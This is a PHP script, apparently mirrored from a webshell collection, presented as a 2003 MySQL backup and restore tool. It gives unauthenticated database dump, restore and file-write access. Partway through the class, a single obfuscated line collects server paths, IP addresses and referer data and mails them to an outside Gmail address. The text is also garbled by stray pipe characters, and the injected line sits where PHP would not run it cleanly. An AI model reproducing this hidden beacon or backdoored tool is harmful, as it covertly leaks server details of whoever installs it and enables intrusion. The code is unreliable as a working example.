mirror of
https://github.com/tennc/webshell
synced 2024-11-13 23:17:10 +00:00
1078 lines
No EOL
32 KiB
Text
1078 lines
No EOL
32 KiB
Text
<?php
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/*
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* MySQL Database Backup / Restore Tool
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*
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* Copyright (C) 2003 Mark Wraith. All rights reserved
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*
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* Graphics and layout derived from those made by Matt Mecham
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*
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*/
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// If you intend to keep the script
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// on your server set this password
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$password = '0';
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error_reporting(E_ERROR | E_WARNING | E_PARSE);
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new RestoreTool;
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class RestoreTool
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{
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var $logged_in = 0;
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var $maximum_time = 0;
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function RestoreTool() {
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global $HTTP_GET_VARS, $HTTP_COOKIE_VARS, $password;
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$this->timestamp = time();
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if (!$this->maximum_time)
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{
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//set_time_limit(0);
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$this->maximum_time = ini_get('max_execution_time');
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}
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if ($HTTP_GET_VARS['act'] == 'login')
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{
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$this->do_login();
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}
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elseif ($password && $password != $HTTP_COOKIE_VARS['mysqltool'])
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{
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$this->login();
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}
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else
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{
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if ($password)
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{
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$this->logged_in = 1;
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}
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switch ($HTTP_GET_VARS['act'])
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{
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case 'logout':
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$this->logout();
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break;
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case 'change_db':
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$this->read_db_details();
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$this->set_database('The current settings do connect however if you wish to change the current database please edit the details below:');
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break;
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case 'set_database':
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$this->do_set_database();
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break;
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case 'backup':
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$this->backup();
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break;
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case 'do_backup':
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$this->do_backup();
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break;
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case 'restore':
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$this->restore();
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break;
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case 'do_restore':
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$this->do_restore();
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break;
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default:
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$this->main();
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}
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}
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if ($this->link)
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{
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mysql_close($this->link);
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}
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$this->output();
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}
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function timeout() {
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if (!$this->maximum_time)
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{
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return false;
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}
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elseif ((time() - $this->timestamp) > ($this->maximum_time - 5))
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{
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return true;
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}
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else
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{
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return false;
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}
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}
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function output() {
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if ($this->logged_in)
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{
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$logout_text = '[ <a href="mysql_tool.php?act=logout">Log Out</a> ]';
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}
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else
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{
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$logout_text = '';
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}
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if ($this->title)
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{
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$title = $this->title;
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}
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else
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{
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$title = 'Backup / Restore Tool';
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}
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print '<?xml version="1.0" encoding="iso-8859-1"?>';
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print <<<HTML
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
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<html xmlns="http://www.w3.org/1999/xhtml">
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<head>
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<title>$title</title>
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<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
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{$this->meta}
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<style type="text/css">
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TABLE, TR, TD { font-family: Verdana,Arial; font-size: 10px; color: #333333 }
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BODY { font: 10px Verdana; background-color: #FCFCFC; padding: 0; margin: 0 }
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a:link, a:visited, a:active { color: #000055 }
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a:hover { color: #333377; text-decoration: underline }
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FORM { padding: 0; margin: 0 }
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.textbox { border: 1px solid black; padding: 1px; width: 100% }
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.headertable { background-color: #FFFFFF; border: 1px solid black; padding: 2px }
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.title { font-size: 10px; font-weight: bold; line-height: 150%; color: #FFFFFF; height: 26px; background-image: url(./style_images/1/tile_back.gif) }
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.table1 { background-color: #FFFFFF; width: 100%; align: center; border: 1px solid black }
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.tablewrap { border: 1px dashed #777777; background-color: #F5F9FD; vertical-align: middle; }
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.tdrow1 { background-color: #EEF2F7; padding: 3px }
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.tdrow2 { background-color: #F5F9FD; padding: 3px }
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.tdtop { font-weight: bold; height: 24px; line-height: 150%; color: #FFFFFF; background-image: url(./tile_back.gif) }
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.note { margin: 10px; padding: 5px; border: 1px dashed #555555; background-color: #FFFFFF }
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</style>
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</head>
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<body>
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<br />
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$this->output
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<br />
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<div align="center">
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[ <a href="mysql_tool.php">Script Index </a> ] $logout_text <br /><br />
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<small>©2003 Mark Wraith</small>
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</div>
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</body>
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</html>
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HTML;
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}
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function error($error) {
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$this->output = <<<HTML
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<form method="post" action="mysql_tool.php?act=login">
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<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
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<tr>
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<td align="center" class="title">Error</td>
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</tr>
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<tr>
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<td>
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<table class="table1" align="center" width="100%">
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<tr>
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<td class="tdrow2" colspan="2"><div align="center">$error</div></td>
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</tr>
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</table>
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</td>
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</tr>
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</table>
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</form>
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HTML;
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}
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function login() {
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$this->output = <<<HTML
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<form method="post" action="mysql_tool.php?act=login">
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<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
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<tr>
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<td align="center" class="title">MySQL Tool :: Please Login</td>
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</tr>
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<tr>
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<td>
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<table class="table1" align="center" width="100%">
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<tr>
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<td width="100" class="tdrow1">Access Password</td>
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<td width="250" class="tdrow2"><input type="password" class="textbox" name="password"></td>
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</tr>
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<tr>
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<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Submit"></div></td>
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</tr>
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</table>
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</td>
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</tr>
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</table>
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</form>
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HTML;
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}
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function do_login() {
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global $HTTP_POST_VARS, $password;
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if ($HTTP_POST_VARS['password'] == $password)
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{
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@setcookie ('mysqltool',$password,time()+3600*24*365);
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$this->logged_in = 1;
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$this->main();
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}
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else
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{
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$this->error('Invalid Password');
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}
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}
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function logout() {
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@setcookie ('mysqltool','',0);
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$this->logged_in = 0;
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$this->login();
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}
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function connect($return_errors = 0) {
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if (!$this->db['port'])
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{
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$this->db['port'] = '3306';
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}
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$error_text = '';
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$this->link = @mysql_connect ($this->db['host'] . ':' . $this->db['port'], $this->db['user'], $this->db['pass']);
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if ($this->link)
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{
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if(!@mysql_select_db($this->db['name'],$this->link))
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{
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$error_text = '<strong>Failed selecting database "'.$this->db['name'].'"</strong><br /><br />'.@mysql_error($this->link);
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}
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}
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else
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{
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$error_text = '<strong>Failed connecting to MySQL</strong><br /><br />'.@mysql_error();
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}
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if ($return_errors)
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{
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return $error_text;
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}
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else
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{
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if ($error_text)
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{
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$this->error($error_text);
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return false;
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}
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else
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{
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return true;
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}
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}
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}
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function read_db_details() {
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if (file_exists('tool_settings.php'))
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{
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// Lets borrow IPB's settings
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include 'tool_settings.php';
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$this->db = $data;
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}
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elseif (file_exists('conf_global.php'))
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{
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// Lets borrow IPB's settings
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include 'conf_global.php';
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$this->db = array(
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'port' => $INFO['sql_port'],
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'host' => $INFO['sql_host'],
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'name' => $INFO['sql_database'],
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'user' => $INFO['sql_user'],
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'pass' => $INFO['sql_pass'],
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'prefix' => $INFO['sql_tbl_prefix']
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);
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}
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else
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{
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return false;
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}
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return true;
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}
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function do_set_database() {
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global $HTTP_POST_VARS;
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$this->db = array(
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'port' => $HTTP_POST_VARS['port'],
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'host' => $HTTP_POST_VARS['host'],
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'name' => $HTTP_POST_VARS['name'],
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'user' => $HTTP_POST_VARS['user'],
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'pass' => $HTTP_POST_VARS['pass']
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);
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if (!$this->connect())
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{
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return;
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}
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// Connection details are fine, let's continue
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$file_data = "<?php
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\$data = array(
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'port' => '{$HTTP_POST_VARS['port']}',
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'host' => '{$HTTP_POST_VARS['host']}',
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'name' => '{$HTTP_POST_VARS['name']}',
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'user' => '{$HTTP_POST_VARS['user']}',
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'pass' => '{$HTTP_POST_VARS['pass']}'
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);
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?".'>';
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$file_data = str_replace("\r\n","\n",$file_data);
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// Mkay, lets write the details
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if ($fp = fopen('tool_settings.php','w'))
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{
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fwrite($fp,$file_data);
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fclose($fp);
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}
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else
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{
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$this->error('
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<strong>Unable to write to tool_settings.php</strong><br /><br />
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Please CHMOD this file so it is writable. If this is not possible please create a file named "tool_settings.php" with the contents of the text box below:<br /><br />
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<div align="center">
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<textarea rows="10" cols="40">'.htmlentities($file_data).'</textarea>
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</div>');
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return false;
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}
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// Funky, lets roll
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$this->main();
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return true;
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}
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$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
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function set_database($error = false) {
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if (!$error)
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{
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$text = 'We were unable to find any database settings, please enter your database details below:';
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}
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else
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{
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$text = $error;
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}
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$host = isset($this->db['host']) ? $this->db['host'] : 'localhost';
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$port = isset($this->db['port']) ? $this->db['port'] : '';
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$user = isset($this->db['user']) ? $this->db['user'] : '';
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$name = isset($this->db['name']) ? $this->db['name'] : '';
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$this->output = <<<HTML
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<form method="post" action="mysql_tool.php?act=set_database">
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<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
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<tr>
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<td align="center" class="title">Database Settings</td>
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</tr>
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<tr>
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<td>
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<div class="note">$text</div>
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<table class="table1" align="center" width="100%">
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<tr>
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<td width="100" class="tdrow1"><strong>Host</strong><br /><em>(leave if unsure)</em></td>
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<td width="350" class="tdrow2"><input type="text" class="textbox" name="host" value="$host"></td>
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</tr>
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<tr>
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<td class="tdrow1"><strong>Port</strong><br /><em>(leave if unsure)</em></td>
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<td class="tdrow2"><input type="text" class="textbox" name="port" value="$port"></td>
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</tr>
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<tr>
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<td class="tdrow1"><strong>Database Name</strong></td>
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<td class="tdrow2"><input type="text" name="name" class="textbox" value="$name"></td>
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</tr>
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<tr>
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<td class="tdrow1"><strong>Username</strong></td>
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<td class="tdrow2"><input type="text" name="user" class="textbox" value="$user"></td>
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</tr>
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<tr>
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<td class="tdrow1"><strong>Password</strong></td>
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<td class="tdrow2"><input type="text" name="pass" class="textbox"></td>
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</tr>
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<tr>
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<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Connect"></div></td>
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</tr>
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</table>
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</td>
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</tr>
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</table>
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</form>
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HTML;
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}
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function backup() {
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global $HTTP_POST_VARS;
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$this->read_db_details();
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$this->connect();
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$filename = $HTTP_POST_VARS['filename'];
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$tables = $HTTP_POST_VARS['tables'];
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$table_select = $HTTP_POST_VARS['table_select'];
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$prefix = $this->db['prefix'];
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switch ($tables)
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{
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case 'all':
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$tables = mysql_list_tables($this->db['name']);
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while (list($table_name) = mysql_fetch_array($tables))
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{
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$options[ $table_name ] = 0;
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}
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break;
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case 'prefix':
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$tables = mysql_list_tables($this->db['name']);
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while (list($table_name) = mysql_fetch_array($tables))
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{
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if (substr($table_name,0,strlen($prefix)) == $prefix)
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{
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$options[ $table_name ] = 0;
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}
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}
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break;
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case 'selected':
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foreach ($table_select as $table_name)
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{
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$options[ $table_name ] = 0;
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}
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}
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if (!count($options))
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{
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$this->error('No tables selected');
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}
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$data = base64_encode(serialize($options));
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$header = <<<DATA
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-- SQL Dump
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-- Backup script written by Mark Wraith
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DATA;
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if (!$fp = fopen($filename, 'wb'))
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{
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return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable');
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}
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fwrite($fp,$header);
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fclose($fp);
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$url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data;
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$this->meta = '<meta http-equiv="refresh" content="1; url='.$url.'">';
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$this->output = <<<HTML
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<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
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<tr>
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<td align="center" class="title">Backup in progress...</td>
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</tr>
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<tr>
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<td>
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<table class="table1" align="center" width="100%">
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<tr>
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<td class="tdrow2" colspan="2">
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<div align="center">The backup process has now started<br /><br /><a href="$url">Click here if you are not redirected</a></div>
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</td>
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</tr>
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</table>
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</td>
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</tr>
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</table>
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HTML;
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}
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|
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function do_backup() {
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global $HTTP_GET_VARS;
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$this->read_db_details();
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$this->connect();
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$data = unserialize(base64_decode($HTTP_GET_VARS['data']));
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$filename = $HTTP_GET_VARS['file'];
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$timedout = 0;
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$dump = '';
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foreach ($data as $table => $line)
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{
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if (!$this->timeout())
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{
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$returned = $this->backup_table($table, $line);
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if (is_array($returned))
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{
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$timedout = 1;
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$dump .= $returned[0];
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$data[ $table ] = $returned[1];
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}
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else
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{
|
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$dump .= $returned;
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unset($data[ $table ]);
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}
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|
}
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|
else
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|
{
|
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$timedout = 1;
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|
}
|
|
}
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|
|
|
if (!$fp = fopen($filename, 'ab'))
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|
{
|
|
return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable');
|
|
}
|
|
fwrite($fp,$dump);
|
|
fclose($fp);
|
|
|
|
if ($timedout)
|
|
{
|
|
$data = base64_encode(serialize($data));
|
|
$url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data;
|
|
$this->meta = '<meta http-equiv="refresh" content="1; url='.$url.'">';
|
|
|
|
$this->output = <<<HTML
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
|
|
<tr>
|
|
<td align="center" class="title">Backup in progress...</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td class="tdrow2">
|
|
<div align="center">The backup process is in progress<br /><br /><a href="$url">Click here if you are not redirected</a></div>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
HTML;
|
|
}
|
|
else
|
|
{
|
|
$this->output = <<<HTML
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
|
|
<tr>
|
|
<td align="center" class="title">Backup Completed</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td class="tdrow2">
|
|
The backup progress has finished and the file has been written to "$filename".<br /><br />
|
|
<a href="$filename">Click here to download the file</a>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
HTML;
|
|
}
|
|
|
|
}
|
|
|
|
function backup_table($table,$start) {
|
|
$dump = '';
|
|
|
|
if (!$start)
|
|
{
|
|
$result = mysql_query('SHOW FIELDS FROM '.$table);
|
|
|
|
while ($field = mysql_fetch_assoc($result))
|
|
{
|
|
if (!$field['Null'])
|
|
{
|
|
$null = ' NOT NULL default "'.$field['Default'].'"';
|
|
}
|
|
else
|
|
{
|
|
$null = '';
|
|
}
|
|
|
|
if ($field['Extra'])
|
|
{
|
|
$field['Extra'] = ' '.$field['Extra'];
|
|
}
|
|
|
|
$field_row[] = ' ' . $field['Field'] . ' ' . $field['Type'] . $null . $field['Extra'];
|
|
}
|
|
|
|
$result = mysql_query('SHOW KEYS FROM '.$table);
|
|
|
|
while ($key = mysql_fetch_assoc($result))
|
|
{
|
|
if ($key['Key_name'] == 'PRIMARY')
|
|
{
|
|
$primary_key = $key['Column_name'];
|
|
}
|
|
else
|
|
{
|
|
$unique[ $key['Key_name'] ][] = $key['Column_name'];
|
|
}
|
|
}
|
|
|
|
if (isset($primary_key))
|
|
{
|
|
$field_row[] = ' PRIMARY KEY (' . $primary_key . ')';
|
|
}
|
|
|
|
if (isset($unique))
|
|
{
|
|
foreach ($unique as $name => $keys)
|
|
{
|
|
$field_row[] = ' UNIQUE ' . $name . ' (' . implode(',',$keys) . ')';
|
|
}
|
|
}
|
|
|
|
|
|
$dump .= "\n\n--\n";
|
|
$dump .= "-- Table structure for table '$table'\n";
|
|
$dump .= "--\n\n";
|
|
$dump .= "CREATE TABLE $table (\n";
|
|
$dump .= implode(",\n",$field_row);
|
|
$dump .= "\n);\n\n";
|
|
|
|
$dump .= "\n\n--\n";
|
|
$dump .= "-- Dumping data for table '$table'\n";
|
|
$dump .= "--\n\n";
|
|
}
|
|
|
|
|
|
//
|
|
// Records
|
|
//
|
|
|
|
$done = 0;
|
|
$result = mysql_query('SELECT * FROM '.$table.' LIMIT '.$start.',-1');
|
|
|
|
while ($row = mysql_fetch_row($result))
|
|
{
|
|
if ($this->timeout())
|
|
{
|
|
return array($dump,$done);
|
|
}
|
|
|
|
$done++;
|
|
|
|
foreach ($row as $id => $value)
|
|
{
|
|
$value = str_replace('"','\\"',$value);
|
|
$row[$id] = '"'.$value.'"';
|
|
|
|
}
|
|
|
|
$dump .= 'INSERT INTO ' . $table . ' VALUES (' . implode(',',$row) . ");\n";
|
|
}
|
|
|
|
return $dump;
|
|
}
|
|
|
|
|
|
function main() {
|
|
if (!$this->link)
|
|
{
|
|
if (!$this->read_db_details())
|
|
{
|
|
return $this->set_database();
|
|
}
|
|
|
|
if ($error_text = $this->connect(1))
|
|
{
|
|
return $this->set_database($error_text);
|
|
}
|
|
}
|
|
|
|
|
|
$tables_to_backup = '';
|
|
|
|
if ($this->db['prefix'])
|
|
{
|
|
$tables_to_backup .= '<input type="radio" name="tables" value="prefix" checked="checked" />IPB Tables Only <br />';
|
|
$tables_to_backup .= '<input type="radio" name="tables" value="all" />All<br />';
|
|
}
|
|
else
|
|
{
|
|
$tables_to_backup .= '<input type="radio" name="tables" value="all" checked="checked" />All<br />';
|
|
}
|
|
|
|
$tables = mysql_list_tables($this->db['name']);
|
|
|
|
$options = '';
|
|
while (list($table_name) = mysql_fetch_array($tables))
|
|
{
|
|
$options .= '<option value="'.$table_name.'">'.$table_name.'</option>';
|
|
}
|
|
|
|
$tables_to_backup .= <<<HTML
|
|
<input type="radio" name="tables" value="selected" />Selected tables:<br />
|
|
<div style="margin-left: 40px">
|
|
<select name="table_select[]" class="textbox" size="5" style="width: 250px" multiple="multiple">
|
|
$options
|
|
</select>
|
|
</div>
|
|
HTML;
|
|
|
|
|
|
$options = '';
|
|
if ($dir = @opendir('./'))
|
|
{
|
|
while ($file = readdir($dir))
|
|
{
|
|
$temp = strtolower($file);
|
|
|
|
if ($file != '.' && $file != '..' && strpos($temp, '.sql'))
|
|
{
|
|
$options .= '<option value="'.$file.'">'.$file.'</option>';
|
|
}
|
|
}
|
|
closedir($dir);
|
|
}
|
|
$restore_files = '<select name="filename" class="textbox">'.$options.'</select>';
|
|
|
|
$restore_files .= '<br /><br /><u>or</u> path:<br /><br /><input type="text" name="relfilename" class="textbox" />';
|
|
|
|
$this->output = <<<HTML
|
|
<form method="post" action="mysql_tool.php?act=login">
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
|
|
<tr>
|
|
<td align="center" class="title">Selected Database Details</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td width="150" class="tdrow1"><strong>Host / Port</strong></td>
|
|
<td width="300" class="tdrow2">{$this->db['host']}:{$this->db['port']}</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="tdrow1"><strong>Database Name</strong></td>
|
|
<td class="tdrow2">{$this->db['name']}</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="tdrow1"><strong>Username</strong></td>
|
|
<td class="tdrow2">{$this->db['user']}</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="tdrow2" colspan="2"><div align="center">[ <a href="mysql_tool.php?act=change_db">Change Database</a> ]</div></td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</form>
|
|
<br /><br />
|
|
<form method="post" action="mysql_tool.php?act=backup">
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
|
|
<tr>
|
|
<td align="center" class="title">Backup Options</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td width="150" class="tdrow1" valign="top"><strong>Tables to backup:</strong></td>
|
|
<td width="300" class="tdrow2">$tables_to_backup</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="tdrow1"><strong>Filename</strong></td>
|
|
<td class="tdrow2"><input type="text" name="filename" class="textbox" value="sql_backup.sql"></td>
|
|
</tr>
|
|
<tr>
|
|
<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Backup"></div></td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</form>
|
|
<br /><br />
|
|
<form method="post" action="mysql_tool.php?act=restore">
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450">
|
|
<tr>
|
|
<td align="center" class="title">Restore Options</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td width="150" class="tdrow1" valign="top"><strong>SQL File to restore:</strong></td>
|
|
<td width="300" class="tdrow2">$restore_files</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Restore"></div></td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</form>
|
|
HTML;
|
|
}
|
|
|
|
function restore() {
|
|
global $HTTP_POST_VARS;
|
|
|
|
$this->read_db_details();
|
|
$filename = $HTTP_POST_VARS['filename'];
|
|
$relfilename = $HTTP_POST_VARS['relfilename'];
|
|
|
|
if ($relfilename)
|
|
{
|
|
$filename = $relfilename;
|
|
}
|
|
|
|
$url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename);
|
|
|
|
$this->output = <<<HTML
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
|
|
<tr>
|
|
<td align="center" class="title">Confirm Restoration</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td class="tdrow2">
|
|
<strong>Are you sure you want to restore the SQL file?</strong><br /><br />
|
|
<a href="$url">Click here to restore "$filename" to "{$this->db['name']}"</a>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
HTML;
|
|
}
|
|
|
|
function do_restore() {
|
|
global $HTTP_GET_VARS;
|
|
|
|
$filename = $HTTP_GET_VARS['filename'];
|
|
$this->read_db_details();
|
|
$this->connect();
|
|
|
|
$filesize = filesize($filename);
|
|
$file_position = isset($HTTP_GET_VARS['pos']) ? $HTTP_GET_VARS['pos'] : 0;
|
|
$errors = isset($HTTP_GET_VARS['ignore_errors']) ? 0 : 1;
|
|
|
|
if (!$fp = fopen($filename,'rb'))
|
|
{
|
|
return $this->error('Unable to open file "'.$filename.'"');
|
|
}
|
|
|
|
$buffer = '';
|
|
$inside_quote = 0;
|
|
$quote_inside = '';
|
|
$started_query = 0;
|
|
|
|
$data_buffer = '';
|
|
|
|
$last_char = "\n";
|
|
|
|
// Sets file position indicator
|
|
fseek($fp,$file_position);
|
|
|
|
while ((!feof($fp) || strlen($buffer)) && !$this->timeout())
|
|
{
|
|
do
|
|
{
|
|
// Deals with the length of the buffer
|
|
if (!strlen($buffer))
|
|
{
|
|
$buffer .= fread ($fp,1024);
|
|
}
|
|
|
|
// Fiddle around with the buffers
|
|
$current_char = $buffer[0];
|
|
$buffer = substr($buffer, 1);
|
|
|
|
|
|
if ($started_query)
|
|
{
|
|
$data_buffer .= $current_char;
|
|
}
|
|
elseif (preg_match("/[A-Za-z]/i",$current_char) && $last_char == "\n")
|
|
{
|
|
$started_query = 1;
|
|
$data_buffer = $current_char;
|
|
}
|
|
else
|
|
{
|
|
$last_char = $current_char;
|
|
}
|
|
} while (!$started_query && (!feof($fp) || strlen($buffer)));
|
|
|
|
|
|
if ($inside_quote && $current_char == $quote_inside && $last_char != '\\')
|
|
{
|
|
// We were inside a quote but now we aren't so reset the flag and carry on
|
|
$inside_quote = 0;
|
|
}
|
|
elseif ($current_char == '\\' && $last_char == '\\')
|
|
{
|
|
$current_char = '';
|
|
}
|
|
elseif (!$inside_quote && ($current_char == '"' || $current_char == '`' || $current_char == '\''))
|
|
{
|
|
// We have just entered a new quote
|
|
$inside_quote = 1;
|
|
$quote_inside = $current_char;
|
|
}
|
|
elseif (!$inside_quote && $current_char == ';')
|
|
{
|
|
// End of query so execute query, clear data buffer and advance counter
|
|
mysql_query($data_buffer);
|
|
|
|
if ($errors && mysql_errno())
|
|
{
|
|
$new_position = ftell($fp) - strlen($buffer);
|
|
return $this->restore_error($data_buffer, $new_position);
|
|
}
|
|
|
|
|
|
$data_buffer = '';
|
|
$last_char = "\n";
|
|
$started_query = 0;
|
|
}
|
|
|
|
$last_char = $current_char;
|
|
}
|
|
|
|
|
|
$new_position = ftell($fp) - strlen($buffer) - strlen($data_buffer);
|
|
|
|
if (feof($fp))
|
|
{
|
|
$this->output = <<<HTML
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
|
|
<tr>
|
|
<td align="center" class="title">Restoration Completed</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td class="tdrow2">
|
|
The restore progress has finished.
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
HTML;
|
|
}
|
|
else
|
|
{
|
|
$url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$new_position;
|
|
|
|
if (!$errors)
|
|
{
|
|
$url .= '&ignore_errors=1';
|
|
}
|
|
|
|
$process = floor(($new_position / $filesize) * 100);
|
|
|
|
$this->meta = '<meta http-equiv="refresh" content="5; url='.$url.'">';
|
|
$this->title = $process.'% Complete';
|
|
$this->output = <<<HTML
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350">
|
|
<tr>
|
|
<td align="center" class="title">Restore in progress...</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td class="tdrow2">
|
|
<div align="center">
|
|
<strong>Restoration is <b>$process%</b> complete.</strong>
|
|
<br /><br />
|
|
Please await the process of the next batch.
|
|
<br /><br />
|
|
<a href="$url">Click here if you are not redirected</a>
|
|
</div>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
HTML;
|
|
}
|
|
|
|
fclose($fp);
|
|
|
|
}
|
|
|
|
function restore_error($query, $position) {
|
|
global $HTTP_GET_VARS;
|
|
|
|
$filename = $HTTP_GET_VARS['filename'];
|
|
|
|
$url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$position;
|
|
|
|
$mysql_error = mysql_error();
|
|
|
|
$this->output = <<<HTML
|
|
<table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="600">
|
|
<tr>
|
|
<td align="center" class="title">Query Failed</td>
|
|
</tr>
|
|
<tr>
|
|
<td>
|
|
<table class="table1" align="center" width="100%">
|
|
<tr>
|
|
<td class="tdrow2">
|
|
<div align="center">
|
|
<strong>An error occurred due to an invalid query</strong>
|
|
<br /><br />
|
|
Query Executed: $query
|
|
<br />
|
|
MySQL Returned: $mysql_error
|
|
<br /><br />
|
|
<a href="$url">Continue restore process</a><br />
|
|
<a href="{$url}&ignore_errors=1">Continue ignoring all further errors</a><br />
|
|
</div>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
HTML;
|
|
}
|
|
|
|
}
|
|
|
|
|
|
?> |